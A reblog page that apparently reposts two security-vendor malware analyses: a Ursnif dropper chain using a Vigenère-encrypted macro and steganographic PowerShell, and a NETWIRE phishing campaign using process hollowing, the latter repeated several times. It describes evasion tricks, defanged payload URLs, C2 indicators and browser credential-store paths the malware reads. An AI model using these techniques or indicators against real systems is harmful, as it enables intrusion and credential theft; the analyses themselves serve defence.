Introduction
A few days ago, the researchers of ZLab Yoroi-Cybaze dissected another attack wave of the infamous Ursnif malware, also known as Gozi ISFB, an offspring of the original Gozi which source code was leaked in 2014. Ursnif/Gozi is active from over a decade and was one of the most active malware listed in 2017 and 2018. Today it constantly reaches several organization across Italy presenting itself in several ways, for instance as a malicious document delivered through email. 
The malware has evolved over time and has added functionality, in fact, apart from collecting banking credentials it is also able to collect keystrokes, cryptocurrencies, screenshots, webmail, integrating spyware features together with banking Trojans features.
During their investigations, researchers of ZLab Yoroi-Cybaze intercept a new variant of this malware delivered through malspam campaign towards Italian companies. This latest Ursnif variant shows the same modus operandi: a malicious document in which is embedded an highly obfuscated VBA macro that acts as a first stage dropper.
The Ursnif Threat Evolution
According to Microsoft since its appearance in 2009, Ursnif has shown incredible capabilities to steal users’ credentials, credentials for local webmail, cloud storage, cryptocurrency exchange platforms and e-commerce sites while remaining more stealthiness as possible. It uses many advanced trick to evade several sandboxes environment and today is the most popular malware spreading in the wild. ZLab researchers have studied many samples in the past to profile the techniques used by the malware, to track its evolution and sophistication over time.
Table 1: Ursnif techniques evolution
First analyzed sample backs to January 2018. That Ursnif variant has delivered through a macro document and consist of a few obfuscated stage and a process hollowing injection technique to execute its payload. After a few months, in June 2018, we find evidence that  Ursnif was delivered through Necurs Botnet. The latter is one of the most famous botnets known nowadays and it has been used to deliver this Ursnif variant. The hidden link among Necurs and Ursnif has been discovered by ZLab researchers as explained in this link. In December 2018, a first shift is about the implementation of many dropper stages, in order to hide the final payload; moreover, in order to execute its payload, the malware does not perform a classical process injection as in the previous samples but an APC injection, not yet seen as payload injection trick used by Ursnif. 
The sample spread in February 2019 use two new features: the first one is a several obfuscated powershell stages in order to evade AVs and reduce its detection, the second one is the use of steganography technique. The latter permit to hide code into a legit image manipulating specific bits. Next, another code perform a decryption and execution of malicious code into the victim machine. 
In March 2019 another weaponized variant of Ursnif has been detected: in this case, to spread the malicious software, a google drive document combined with an obfuscated VBA Script is used over steganography. The last sample shown in previous table is similar to February’s sample but include another interesting feature: in this case a first VBS stage is encrypted using the Vigenere cipher; this allow to hide its malicious code and evade many sandboxes environment. We are observing a continuous evolution due to several features added in few months, this is an indicator that this malware is still in development and, observing also features fragmentation among variants lets us think, with high confidence, that there are various fork of the same codebase spreading in the wild.
Technical Analysis
Sha 256 34669dde1e33ec96147540433f60e90056d38df1e3bb952fdc600e979d74f690 Threat Ursnif dropper Descrizione Breve Excel with macro ssdeep 1536:hn1DN3aMePUKccCEW8yjJTdrBX/3t4k3hOdsylKlgryzc4bNhZFGzE+cL4LgldAK:hn1DN3aM+UKc
Table 2: information about Ursnif dropper
The most widespread infection vector observed were the macro enabled office documents, and this variant uses the same technique too. The malicious document looks like an invoice that requires enabling macros in order to proper view its contents. 
Figure 1: excel document requiring macro enabling
The whole infection chain begins when the macro is enabled. This Ursnif variant presents a  macro protection technique technique that it’s not present in previous variants, in order to make the analysis hard avoiding manipulation and extraction. After extraction of OLE object inside the document we are able to see the content of macros and their associated name, as shown in the following figure:
Figure 2: macros isolation
Now it is possible to isolate an interesting macro in order to further analyze it in detail. It contains a piece of VBA that was extracted.
Figure 3: VB macro source code
In a different way than the past waves, the malware author added a “VigenereDo” function to decrypt and reconstruct the initial infection step, using an algorithm based on the Vigenère cipher, a classical polyalphabetic cipher. 
The resulting command text is obtained combining the obfuscated strings defined in “jeneric” function with other strings (not visible in figure) and after further some manipulations is possible to spot the whole script will be executed. When user enable macros, the “wmic.exe” process run the following code through the “wmic ‘PRocesS’   “Call” ‘CREATe’” command. 
Figure 4: the powershell script (crypted)
So, at this point, several powershell deobfuscation steps occurs. First of all, every value (“${1F}”) defined in the ps string is replaced with content stored into “$1F” variable corresponding to “,” (comma) character. After having replaced these values, the script is run through “iex” primitive invoked by “.($psHomE[4]+$pshOMe[34]+’X’)” and next through “( “. ( `$ShELLid[1]+`$shelLID[13]+’X’)”. The complete deobfuscated script is the following.
Figure 5:  the first powershell script (decrypted)
Figure 6: image with malicious embedded powershell script
First of all the malware checks the current TimeZone in order to verify if it is set on +01:00.  If true, it download the next stage from “hxxps://i[.]imgur[.]com/TVkWKQa[.]png”. As well as in other recent attacks, the downloaded image hides another powershell stage leveraging steganography techniques. 
The malware code iterates over each pixel of the image and through several mathematical binary operation converts grabs the two Least Significant Bits of every byte of the picture, concatenating them with other LSBs to produce a complete Powershell code.
Figure 7: second powershell script extracted from the steganographic image
Et voilà, another URL is found but, before download the next stage from it, the malware perform a further checking in order to evaluate the value returned by “CurrentCulture”. 
Figure 8: CurrentCulter verification in powershell
If check is verified, once again through the “IEX” primitive it try to download other components named “ose000000.exe” from “hxxps://nuovalo[.]site/RGI82B3.-tmp-tmp”, saving  it into “%TEMP%” folder. In the following table are shown the information about sample.
Sha 256 0f2245eec921949d9a1d8e13cab747a7fbb137aaee3b9ddacee0681c8b2e4fa8 Threat Ursnif Descrizione Breve Final payload of Ursnif banking malware ssdeep 6144:LCLAh6EzJYJtmavTXyulcNcyuo8PGJMewXo79y:L54EzetmCb3cNc3o0PR4
Table 3: information about Ursnif final payload
Conclusion
This latest Ursnif wave keeps showing a complex infection process. The starting point of the entire chain was the usual Visual Basic macro, this time protecting its code with a Vigenère cipher, responsible of the decryption of the additional Powershell stage launched abusing the Windows Management Infrastructure (WMI) functionalities, decoupling it to the original infection tree and then completing the infection chain exploiting steganography techniques to bypass network detection and several environmental check, to ensure the malware is running into expected machines confirming the highly evasive trend of this aggressive malware threat.
Further technical details, including Indicators of Compromise, are reported in the analysis published on the Yoroi blog.
Ursnif: The Latest Evolution of the Most Popular Banking Malware
window._mNHandle = window._mNHandle || {}; window._mNHandle.queue = window._mNHandle.queue || []; medianet_versionId = "3121199";
try { window._mNHandle.queue.push(function () { window._mNDetails.loadTag("762221962", "300x250", "762221962"); }); } catch (error) {}
Pierluigi Paganini
(SecurityAffairs – Ursnif Trojan, cybercrime)
The post Ursnif: The Latest Evolution of the Most Popular Banking Malware appeared first on Security Affairs.
#gallery-0-6 { margin: auto; } #gallery-0-6 .gallery-item { float: left; margin-top: 10px; text-align: center; width: 33%; } #gallery-0-6 img { border: 2px solid #cfcfcf; } #gallery-0-6 .gallery-caption { margin-left: 0; } /* see gallery_shortcode() in wp-includes/media.php */
Go to Source Author: Pierluigi Paganini Ursnif: The Latest Evolution of the Most Popular Banking Malware Original Post from Security Affairs Author: Pierluigi Paganini ZLab Yoroi-Cybaze dissected another attack wave of Ursnif Trojan, aka Gozi ISFB, an offspring of the original Gozi which source code was leaked in 2014.
0 notes
terabitweb · 6 years ago
Text
Original Post from FireEye Author: Sumith Maniath
Introduction
Malware authors attempt to evade detection by executing their payload without having to write the executable file on the disk. One of the most commonly seen techniques of this “fileless” execution is code injection. Rather than executing the malware directly, attackers inject the malware code into the memory of another process that is already running.
Due to its presence on all Windows 7 and later machines and the sheer number of supported features, PowerShell has been a favorite tool of attackers for some time. FireEye has published multiple reports where PowerShell was used during initial malware delivery or during post-exploitation activities. Attackers have abused PowerShell to easily interact with other Windows components to perform their activities with stealth and speed.
This blog post explores a recent phishing campaign observed in February 2019, where an attacker targeted multiple customers and successfully executed their payload without having to write the executable dropper or the payload to the disk. The campaign involved the use of VBScript, PowerShell and the .NET framework to perform a code injection attack using a process hollowing technique. The attacker abused the functionality of loading .NET assembly directly into memory of PowerShell to execute malicious code without creating any PE files on the disk.
Activity Summary
The user is prompted to open a document stored on Google Drive. The name of the file, shown in Figure 1, suggests that the actor was targeting members of the airline industry that use a particular aircraft model. We have observed an increasing number of attackers relying on cloud-based file storage services that bypass firewall restrictions to host their payload.
Figure 1: Malicious script hosted on Google Drive
As seen in Figure 2, attempting to open the script raises an alert from Internet Explorer saying that the publisher could not be verified. In our experience, many users will choose to ignore the warning and open the document.
Figure 2: Alert raised by Internet Explorer
Upon execution, after multiple levels of obfuscation, a PowerShell script is executed that loads a .NET assembly from a remote URL, functions of which are then used to inject the final payload (NETWIRE Trojan) into a benign Microsoft executable using process hollowing. This can potentially bypass application whitelisting since all processes spawned during the attack are legitimate Microsoft executables.
Technical Details
The initial document contains VBScript code. When the user opens it, Wscript is spawned by iexplore to execute this file. The script uses multiple layers of obfuscation to bypass static scanners, and ultimately runs a PowerShell script for executing the binary payload.
Obfuscation techniques used during different levels of script execution are shown in Figure 3 and Figure 4.
Figure 3: Type 1 obfuscation technique, which uses log functions to resolve a wide character
Figure 4: Type 2 obfuscation technique, which uses split and replace operations
This script then downloads and executes another encoded .vbs script from a paste.ee URL, as seen in Figure 5. Paste.ee is a less regulated alternative to Pastebin and we have seen multiple attacks using this service to host the payload. Since the website uses TLS, most firewall solutions cannot detect the malicious content being downloaded over the network.
Figure 5: Downloading the second-stage script and creating a scheduled task
The script achieves persistence by copying itself to Appdata/Roaming and using schtasks.exe to create a scheduled task that runs the VBScript every 15 minutes.
After further de-obfuscation of the downloaded second-stage VBScript, we obtain the PowerShell script that is executed through a shell object, as shown in Figure 6.
Figure 6: De-obfuscated PowerShell script
The PowerShell script downloads two Base64-encoded payloads from paste.ee that contain binary executable files. The strings are stored as PowerShell script variables and no files are created on disk.  
Microsoft has provided multiple ways of interacting with the .NET framework in PowerShell to enhance it through custom-developed features. These .NET integrations with PowerShell are particularly attractive to attackers due to the limited visibility that traditional security monitoring tools have around the runtime behaviors of .NET processes. For this reason, exploit frameworks such as CobaltStrike and Metasploit have options to generate their implants in .NET assembly code.
Here, the attackers have used the Load method from the System.Reflection.Assembly .NET Framework class. After the assembly is loaded as an instance of System.Reflection.Assembly, the members can be accessed through that object similarly to C#, as shown in Figure 7.
Figure 7: Formatted PowerShell code
The code identifies the installed version of .NET and uses it later to dynamically resolve the path to the .NET installation folder. The decoded dropper assembly is passed as an argument to the Load method. The resulting class instance is stored as a variable.
The objects of the dropper are accessed through this variable and method R is invoked. Method R of the .NET dropper is responsible for executing the final payload.
The following are the parameters for method R:
Path to InstallUtil.exe (or other .NET framework tools)
Decoded NETWIRE trojan
When we observed the list of processes spawned during the attack (Figure 8), we did not see the payload spawned as a separate process.  
Figure 8: Processes spawned during attack
We observed that the InstallUtil.exe process was being created in suspended mode. Once it started execution, we compared its memory artifacts to a benign execution of InstallUtil.exe and concluded that the malicious payload is being injected into the memory of the newly spawned InstallUtil.exe process. We also observed that no arguments are passed to InstallUtil, which would cause an error under normal execution since InstallUtil always expects at least one argument.
From a detection evasion perspective, the attacker has chosen an interesting approach. Even if the PowerShell process creation is detected, InstallUtil.exe is executed from its original path. Furthermore, InstallUtil.exe is a benign file often used by internal automations. To an unsuspecting system administrator, this might not seem malicious.
When we disassembled the .NET code and removed the obfuscation to understand how code injection was performed, we were able to identify Windows win32 API calls associated with process hollowing (Figure 9).
Figure 9: Windows APIs used in .NET dropper for process hollowing
After reversing and modifying the code of the C# dropper to invoke R from main, we were able to confirm that when the method R is invoked, InstallUtil.exe is spawned in suspended mode. The memory blocks of the suspended process are unmapped and rewritten with the sections of the payload program passed as an argument to method R. The thread is allowed to continue after changes have been made to the entry point. When the process hollowing is complete, the parent PowerShell process is terminated.
High-Level Analysis of the Payload
The final payload was identified by FireEye Intelligence as a NETWIRE backdoor. The backdoor receives commands from a command and control (C2) server, performs reconnaissance that includes the collection of user data, and returns the information to the C2 server.
Capabilities of the NETWIRE backdoor include key logging, reverse shell, and password theft. The backdoor uses a custom encryption algorithm to encrypt data and then writes it to a file created in the ./LOGS directory.
The malware also contains a custom obfuscation algorithm to hide registry keys, APIs, DLL names, and other strings from static analysis. Figure 10 provides the decompiled version of the custom decoding algorithm used on these strings.
Figure 10: Decompiled string decoding algorithm
From reversing and analyzing the behavior of the malware, we were able to identify the following capabilities:
Record mouse and keyboard events
Capture session logon details
Capture system details
Take screenshots
Monitor CPU usage
Create fake HTTP proxy
From the list of decoded strings, we were able to identify other features of this sample:
“POP3”
“IMAP”
“SMTP”
“HTTP”
“Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\”
“Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\”
“Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\”
  Stealing data from an email client
    “GoogleChromeUser DataDefaultLogin Data”
“ChromiumUser DataDefaultLogin Data”
“ComodoDragonUser DataDefaultLogin Data”
“YandexYandexBrowserUser DataDefaultLogin Data”
“Opera SoftwareOpera StableLogin Data”
“SoftwareMicrosoftInternet ExplorerIntelliFormsStorage2”
“vaultcli.dll: VaultOpenVault,VaultCloseVault,VaultEnumerateItem,VaultGetItem,VaultFree”
“select *  from moz_login”
  Stealing login details from browsers
  A complete report on the NETWIRE backdoor family is available to customers who subscribe to the FireEye Intelligence portal.
Indicators of Compromise
Host-based indicators:
dac4ed7c1c56de7d74eb238c566637aa
Initial attack vector .vbs file
Network-based indicators:
178.239.21.]62:1919
kingshakes[.]linkpc[.]net
  105.112.35[.]72:3575
homi[.]myddns[.]rocks
C2 domains of NETWIRE Trojan
FireEye Detection
FireEye detection names for the indicators in the attack:
Endpoint security
Exploit Guard: Blocks execution of wscript
IOC: POWERSHELL DOWNLOADER D (METHODOLOGY)
AV: Trojan.Agent.DRAI
Network Security
Backdoor.Androm
Email Security
Malicious.URL
Malware.Binary.vbs
Conclusion
Malware authors continue to use different “fileless” process execution techniques to reduce the number of indicators on an endpoint. The lack of visibility into .NET process execution combined with the flexibility of PowerShell makes this technique all the more effective.
FireEye Endpoint Security and the FireEye Network Security detect and block this attack at several stages of the attack chain.
Acknowledgement
We would like to thank Frederick House, Arvind Gowda, Nart Villeneuve and Nick Carr for their valuable feedback.
#gallery-0-5 { margin: auto; } #gallery-0-5 .gallery-item { float: left; margin-top: 10px; text-align: center; width: 33%; } #gallery-0-5 img { border: 2px solid #cfcfcf; } #gallery-0-5 .gallery-caption { margin-left: 0; } /* see gallery_shortcode() in wp-includes/media.php */
Go to Source Author: Sumith Maniath Dissecting a NETWIRE Phishing Campaign’s Usage of Process Hollowing Original Post from FireEye Author: Sumith Maniath Introduction Malware authors attempt to evade detection by executing their…
0 notes
terabitweb · 6 years ago
Text
Original Post from FireEye Author: Sumith Maniath
Introduction
Malware authors attempt to evade detection by executing their payload without having to write the executable file on the disk. One of the most commonly seen techniques of this “fileless” execution is code injection. Rather than executing the malware directly, attackers inject the malware code into the memory of another process that is already running.
Due to its presence on all Windows 7 and later machines and the sheer number of supported features, PowerShell has been a favorite tool of attackers for some time. FireEye has published multiple reports where PowerShell was used during initial malware delivery or during post-exploitation activities. Attackers have abused PowerShell to easily interact with other Windows components to perform their activities with stealth and speed.
This blog post explores a recent phishing campaign observed in February 2019, where an attacker targeted multiple customers and successfully executed their payload without having to write the executable dropper or the payload to the disk. The campaign involved the use of VBScript, PowerShell and the .NET framework to perform a code injection attack using a process hollowing technique. The attacker abused the functionality of loading .NET assembly directly into memory of PowerShell to execute malicious code without creating any PE files on the disk.
Activity Summary
The user is prompted to open a document stored on Google Drive. The name of the file, shown in Figure 1, suggests that the actor was targeting members of the airline industry that use a particular aircraft model. We have observed an increasing number of attackers relying on cloud-based file storage services that bypass firewall restrictions to host their payload.
Figure 1: Malicious script hosted on Google Drive
As seen in Figure 2, attempting to open the script raises an alert from Internet Explorer saying that the publisher could not be verified. In our experience, many users will choose to ignore the warning and open the document.
Figure 2: Alert raised by Internet Explorer
Upon execution, after multiple levels of obfuscation, a PowerShell script is executed that loads a .NET assembly from a remote URL, functions of which are then used to inject the final payload (NETWIRE Trojan) into a benign Microsoft executable using process hollowing. This can potentially bypass application whitelisting since all processes spawned during the attack are legitimate Microsoft executables.
Technical Details
The initial document contains VBScript code. When the user opens it, Wscript is spawned by iexplore to execute this file. The script uses multiple layers of obfuscation to bypass static scanners, and ultimately runs a PowerShell script for executing the binary payload.
Obfuscation techniques used during different levels of script execution are shown in Figure 3 and Figure 4.
Figure 3: Type 1 obfuscation technique, which uses log functions to resolve a wide character
Figure 4: Type 2 obfuscation technique, which uses split and replace operations
This script then downloads and executes another encoded .vbs script from a paste.ee URL, as seen in Figure 5. Paste.ee is a less regulated alternative to Pastebin and we have seen multiple attacks using this service to host the payload. Since the website uses TLS, most firewall solutions cannot detect the malicious content being downloaded over the network.
Figure 5: Downloading the second-stage script and creating a scheduled task
The script achieves persistence by copying itself to Appdata/Roaming and using schtasks.exe to create a scheduled task that runs the VBScript every 15 minutes.
After further de-obfuscation of the downloaded second-stage VBScript, we obtain the PowerShell script that is executed through a shell object, as shown in Figure 6.
Figure 6: De-obfuscated PowerShell script
The PowerShell script downloads two Base64-encoded payloads from paste.ee that contain binary executable files. The strings are stored as PowerShell script variables and no files are created on disk.  
Microsoft has provided multiple ways of interacting with the .NET framework in PowerShell to enhance it through custom-developed features. These .NET integrations with PowerShell are particularly attractive to attackers due to the limited visibility that traditional security monitoring tools have around the runtime behaviors of .NET processes. For this reason, exploit frameworks such as CobaltStrike and Metasploit have options to generate their implants in .NET assembly code.
Here, the attackers have used the Load method from the System.Reflection.Assembly .NET Framework class. After the assembly is loaded as an instance of System.Reflection.Assembly, the members can be accessed through that object similarly to C#, as shown in Figure 7.
Figure 7: Formatted PowerShell code
The code identifies the installed version of .NET and uses it later to dynamically resolve the path to the .NET installation folder. The decoded dropper assembly is passed as an argument to the Load method. The resulting class instance is stored as a variable.
The objects of the dropper are accessed through this variable and method R is invoked. Method R of the .NET dropper is responsible for executing the final payload.
The following are the parameters for method R:
Path to InstallUtil.exe (or other .NET framework tools)
Decoded NETWIRE trojan
When we observed the list of processes spawned during the attack (Figure 8), we did not see the payload spawned as a separate process.  
Figure 8: Processes spawned during attack
We observed that the InstallUtil.exe process was being created in suspended mode. Once it started execution, we compared its memory artifacts to a benign execution of InstallUtil.exe and concluded that the malicious payload is being injected into the memory of the newly spawned InstallUtil.exe process. We also observed that no arguments are passed to InstallUtil, which would cause an error under normal execution since InstallUtil always expects at least one argument.
From a detection evasion perspective, the attacker has chosen an interesting approach. Even if the PowerShell process creation is detected, InstallUtil.exe is executed from its original path. Furthermore, InstallUtil.exe is a benign file often used by internal automations. To an unsuspecting system administrator, this might not seem malicious.
When we disassembled the .NET code and removed the obfuscation to understand how code injection was performed, we were able to identify Windows win32 API calls associated with process hollowing (Figure 9).
Figure 9: Windows APIs used in .NET dropper for process hollowing
After reversing and modifying the code of the C# dropper to invoke R from main, we were able to confirm that when the method R is invoked, InstallUtil.exe is spawned in suspended mode. The memory blocks of the suspended process are unmapped and rewritten with the sections of the payload program passed as an argument to method R. The thread is allowed to continue after changes have been made to the entry point. When the process hollowing is complete, the parent PowerShell process is terminated.
High-Level Analysis of the Payload
The final payload was identified by FireEye Intelligence as a NETWIRE backdoor. The backdoor receives commands from a command and control (C2) server, performs reconnaissance that includes the collection of user data, and returns the information to the C2 server.
Capabilities of the NETWIRE backdoor include key logging, reverse shell, and password theft. The backdoor uses a custom encryption algorithm to encrypt data and then writes it to a file created in the ./LOGS directory.
The malware also contains a custom obfuscation algorithm to hide registry keys, APIs, DLL names, and other strings from static analysis. Figure 10 provides the decompiled version of the custom decoding algorithm used on these strings.
Figure 10: Decompiled string decoding algorithm
From reversing and analyzing the behavior of the malware, we were able to identify the following capabilities:
Record mouse and keyboard events
Capture session logon details
Capture system details
Take screenshots
Monitor CPU usage
Create fake HTTP proxy
From the list of decoded strings, we were able to identify other features of this sample:
“POP3”
“IMAP”
“SMTP”
“HTTP”
“Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\”
“Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\”
“Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\”
  Stealing data from an email client
    “GoogleChromeUser DataDefaultLogin Data”
“ChromiumUser DataDefaultLogin Data”
“ComodoDragonUser DataDefaultLogin Data”
“YandexYandexBrowserUser DataDefaultLogin Data”
“Opera SoftwareOpera StableLogin Data”
“SoftwareMicrosoftInternet ExplorerIntelliFormsStorage2”
“vaultcli.dll: VaultOpenVault,VaultCloseVault,VaultEnumerateItem,VaultGetItem,VaultFree”
“select *  from moz_login”
  Stealing login details from browsers
  A complete report on the NETWIRE backdoor family is available to customers who subscribe to the FireEye Intelligence portal.
Indicators of Compromise
Host-based indicators:
dac4ed7c1c56de7d74eb238c566637aa
Initial attack vector .vbs file
Network-based indicators:
178.239.21.]62:1919
kingshakes[.]linkpc[.]net
  105.112.35[.]72:3575
homi[.]myddns[.]rocks
C2 domains of NETWIRE Trojan
FireEye Detection
FireEye detection names for the indicators in the attack:
Endpoint security
Exploit Guard: Blocks execution of wscript
IOC: POWERSHELL DOWNLOADER D (METHODOLOGY)
AV: Trojan.Agent.DRAI
Network Security
Backdoor.Androm
Email Security
Malicious.URL
Malware.Binary.vbs
Conclusion
Malware authors continue to use different “fileless” process execution techniques to reduce the number of indicators on an endpoint. The lack of visibility into .NET process execution combined with the flexibility of PowerShell makes this technique all the more effective.
FireEye Endpoint Security and the FireEye Network Security detect and block this attack at several stages of the attack chain.
Acknowledgement
We would like to thank Frederick House, Arvind Gowda, Nart Villeneuve and Nick Carr for their valuable feedback.
#gallery-0-5 { margin: auto; } #gallery-0-5 .gallery-item { float: left; margin-top: 10px; text-align: center; width: 33%; } #gallery-0-5 img { border: 2px solid #cfcfcf; } #gallery-0-5 .gallery-caption { margin-left: 0; } /* see gallery_shortcode() in wp-includes/media.php */
Go to Source Author: Sumith Maniath Dissecting a NETWIRE Phishing Campaign’s Usage of Process Hollowing Original Post from FireEye Author: Sumith Maniath Introduction Malware authors attempt to evade detection by executing their…
0 notes
terabitweb · 6 years ago
Text
Original Post from FireEye Author: Sumith Maniath
Introduction
Malware authors attempt to evade detection by executing their payload without having to write the executable file on the disk. One of the most commonly seen techniques of this “fileless” execution is code injection. Rather than executing the malware directly, attackers inject the malware code into the memory of another process that is already running.
Due to its presence on all Windows 7 and later machines and the sheer number of supported features, PowerShell has been a favorite tool of attackers for some time. FireEye has published multiple reports where PowerShell was used during initial malware delivery or during post-exploitation activities. Attackers have abused PowerShell to easily interact with other Windows components to perform their activities with stealth and speed.
This blog post explores a recent phishing campaign observed in February 2019, where an attacker targeted multiple customers and successfully executed their payload without having to write the executable dropper or the payload to the disk. The campaign involved the use of VBScript, PowerShell and the .NET framework to perform a code injection attack using a process hollowing technique. The attacker abused the functionality of loading .NET assembly directly into memory of PowerShell to execute malicious code without creating any PE files on the disk.
Activity Summary
The user is prompted to open a document stored on Google Drive. The name of the file, shown in Figure 1, suggests that the actor was targeting members of the airline industry that use a particular aircraft model. We have observed an increasing number of attackers relying on cloud-based file storage services that bypass firewall restrictions to host their payload.
Figure 1: Malicious script hosted on Google Drive
As seen in Figure 2, attempting to open the script raises an alert from Internet Explorer saying that the publisher could not be verified. In our experience, many users will choose to ignore the warning and open the document.
Figure 2: Alert raised by Internet Explorer
Upon execution, after multiple levels of obfuscation, a PowerShell script is executed that loads a .NET assembly from a remote URL, functions of which are then used to inject the final payload (NETWIRE Trojan) into a benign Microsoft executable using process hollowing. This can potentially bypass application whitelisting since all processes spawned during the attack are legitimate Microsoft executables.
Technical Details
The initial document contains VBScript code. When the user opens it, Wscript is spawned by iexplore to execute this file. The script uses multiple layers of obfuscation to bypass static scanners, and ultimately runs a PowerShell script for executing the binary payload.
Obfuscation techniques used during different levels of script execution are shown in Figure 3 and Figure 4.
Figure 3: Type 1 obfuscation technique, which uses log functions to resolve a wide character
Figure 4: Type 2 obfuscation technique, which uses split and replace operations
This script then downloads and executes another encoded .vbs script from a paste.ee URL, as seen in Figure 5. Paste.ee is a less regulated alternative to Pastebin and we have seen multiple attacks using this service to host the payload. Since the website uses TLS, most firewall solutions cannot detect the malicious content being downloaded over the network.
Figure 5: Downloading the second-stage script and creating a scheduled task
The script achieves persistence by copying itself to Appdata/Roaming and using schtasks.exe to create a scheduled task that runs the VBScript every 15 minutes.
After further de-obfuscation of the downloaded second-stage VBScript, we obtain the PowerShell script that is executed through a shell object, as shown in Figure 6.
Figure 6: De-obfuscated PowerShell script
The PowerShell script downloads two Base64-encoded payloads from paste.ee that contain binary executable files. The strings are stored as PowerShell script variables and no files are created on disk.  
Microsoft has provided multiple ways of interacting with the .NET framework in PowerShell to enhance it through custom-developed features. These .NET integrations with PowerShell are particularly attractive to attackers due to the limited visibility that traditional security monitoring tools have around the runtime behaviors of .NET processes. For this reason, exploit frameworks such as CobaltStrike and Metasploit have options to generate their implants in .NET assembly code.
Here, the attackers have used the Load method from the System.Reflection.Assembly .NET Framework class. After the assembly is loaded as an instance of System.Reflection.Assembly, the members can be accessed through that object similarly to C#, as shown in Figure 7.
Figure 7: Formatted PowerShell code
The code identifies the installed version of .NET and uses it later to dynamically resolve the path to the .NET installation folder. The decoded dropper assembly is passed as an argument to the Load method. The resulting class instance is stored as a variable.
The objects of the dropper are accessed through this variable and method R is invoked. Method R of the .NET dropper is responsible for executing the final payload.
The following are the parameters for method R:
Path to InstallUtil.exe (or other .NET framework tools)
Decoded NETWIRE trojan
When we observed the list of processes spawned during the attack (Figure 8), we did not see the payload spawned as a separate process.  
Figure 8: Processes spawned during attack
We observed that the InstallUtil.exe process was being created in suspended mode. Once it started execution, we compared its memory artifacts to a benign execution of InstallUtil.exe and concluded that the malicious payload is being injected into the memory of the newly spawned InstallUtil.exe process. We also observed that no arguments are passed to InstallUtil, which would cause an error under normal execution since InstallUtil always expects at least one argument.
From a detection evasion perspective, the attacker has chosen an interesting approach. Even if the PowerShell process creation is detected, InstallUtil.exe is executed from its original path. Furthermore, InstallUtil.exe is a benign file often used by internal automations. To an unsuspecting system administrator, this might not seem malicious.
When we disassembled the .NET code and removed the obfuscation to understand how code injection was performed, we were able to identify Windows win32 API calls associated with process hollowing (Figure 9).
Figure 9: Windows APIs used in .NET dropper for process hollowing
After reversing and modifying the code of the C# dropper to invoke R from main, we were able to confirm that when the method R is invoked, InstallUtil.exe is spawned in suspended mode. The memory blocks of the suspended process are unmapped and rewritten with the sections of the payload program passed as an argument to method R. The thread is allowed to continue after changes have been made to the entry point. When the process hollowing is complete, the parent PowerShell process is terminated.
High-Level Analysis of the Payload
The final payload was identified by FireEye Intelligence as a NETWIRE backdoor. The backdoor receives commands from a command and control (C2) server, performs reconnaissance that includes the collection of user data, and returns the information to the C2 server.
Capabilities of the NETWIRE backdoor include key logging, reverse shell, and password theft. The backdoor uses a custom encryption algorithm to encrypt data and then writes it to a file created in the ./LOGS directory.
The malware also contains a custom obfuscation algorithm to hide registry keys, APIs, DLL names, and other strings from static analysis. Figure 10 provides the decompiled version of the custom decoding algorithm used on these strings.
Figure 10: Decompiled string decoding algorithm
From reversing and analyzing the behavior of the malware, we were able to identify the following capabilities:
Record mouse and keyboard events
Capture session logon details
Capture system details
Take screenshots
Monitor CPU usage
Create fake HTTP proxy
From the list of decoded strings, we were able to identify other features of this sample:
“POP3”
“IMAP”
“SMTP”
“HTTP”
“Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\”
“Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\”
“Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\”
  Stealing data from an email client
    “GoogleChromeUser DataDefaultLogin Data”
“ChromiumUser DataDefaultLogin Data”
“ComodoDragonUser DataDefaultLogin Data”
“YandexYandexBrowserUser DataDefaultLogin Data”
“Opera SoftwareOpera StableLogin Data”
“SoftwareMicrosoftInternet ExplorerIntelliFormsStorage2”
“vaultcli.dll: VaultOpenVault,VaultCloseVault,VaultEnumerateItem,VaultGetItem,VaultFree”
“select *  from moz_login”
  Stealing login details from browsers
  A complete report on the NETWIRE backdoor family is available to customers who subscribe to the FireEye Intelligence portal.
Indicators of Compromise
Host-based indicators:
dac4ed7c1c56de7d74eb238c566637aa
Initial attack vector .vbs file
Network-based indicators:
178.239.21.]62:1919
kingshakes[.]linkpc[.]net
  105.112.35[.]72:3575
homi[.]myddns[.]rocks
C2 domains of NETWIRE Trojan
FireEye Detection
FireEye detection names for the indicators in the attack:
Endpoint security
Exploit Guard: Blocks execution of wscript
IOC: POWERSHELL DOWNLOADER D (METHODOLOGY)
AV: Trojan.Agent.DRAI
Network Security
Backdoor.Androm
Email Security
Malicious.URL
Malware.Binary.vbs
Conclusion
Malware authors continue to use different “fileless” process execution techniques to reduce the number of indicators on an endpoint. The lack of visibility into .NET process execution combined with the flexibility of PowerShell makes this technique all the more effective.
FireEye Endpoint Security and the FireEye Network Security detect and block this attack at several stages of the attack chain.
Acknowledgement
We would like to thank Frederick House, Arvind Gowda, Nart Villeneuve and Nick Carr for their valuable feedback.
#gallery-0-5 { margin: auto; } #gallery-0-5 .gallery-item { float: left; margin-top: 10px; text-align: center; width: 33%; } #gallery-0-5 img { border: 2px solid #cfcfcf; } #gallery-0-5 .gallery-caption { margin-left: 0; } /* see gallery_shortcode() in wp-includes/media.php */
Go to Source Author: Sumith Maniath Dissecting a NETWIRE Phishing Campaign’s Usage of Process Hollowing Original Post from FireEye Author: Sumith Maniath Introduction Malware authors attempt to evade detection by executing their…
0 notes
terabitweb · 6 years ago
Text
Original Post from FireEye Author: Sumith Maniath
Introduction
Malware authors attempt to evade detection by executing their payload without having to write the executable file on the disk. One of the most commonly seen techniques of this “fileless” execution is code injection. Rather than executing the malware directly, attackers inject the malware code into the memory of another process that is already running.
Due to its presence on all Windows 7 and later machines and the sheer number of supported features, PowerShell has been a favorite tool of attackers for some time. FireEye has published multiple reports where PowerShell was used during initial malware delivery or during post-exploitation activities. Attackers have abused PowerShell to easily interact with other Windows components to perform their activities with stealth and speed.
